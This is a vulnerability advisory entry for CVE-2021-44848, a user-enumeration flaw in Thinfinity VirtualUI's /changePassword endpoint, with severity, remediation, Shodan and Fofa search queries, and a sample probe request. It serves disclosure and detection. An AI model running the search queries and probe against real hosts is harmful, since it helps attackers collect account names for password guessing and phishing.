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CVE-2021-44848: Thinfinity VirtualUI User Enumeration

TitleThinfinity VirtualUI User Enumeration
Authordanielmofer
SeverityMedium
ImpactAn attacker can use the gathered usernames for further attacks, such as brute-forcing passwords or launching targeted phishing campaigns.
RemediationApply the vendor-supplied patch or upgrade to the latest version of Thinfinity VirtualUI to mitigate the user enumeration vulnerability.
CVSS Score5.3
EPSS Score0.30193
CVE IDCVE-2021-44848
CWE IDCWE-203
Shodan Queryhttp.title:"thinfinity virtualui"
Fofa Querytitle="thinfinity virtualui"
Tags cve2021 cve exposure thinfinity packetstorm virtualui tenable cybelesoft vuln

🔍 Vulnerability Description

Thinfinity VirtualUI (before v3.0), /changePassword returns different responses for requests depending on whether the username exists. It may enumerate OS users (Administrator, Guest, etc.)

🌐 HTTP Request

GET /changePassword?username=administrator HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-44848.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-44848.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A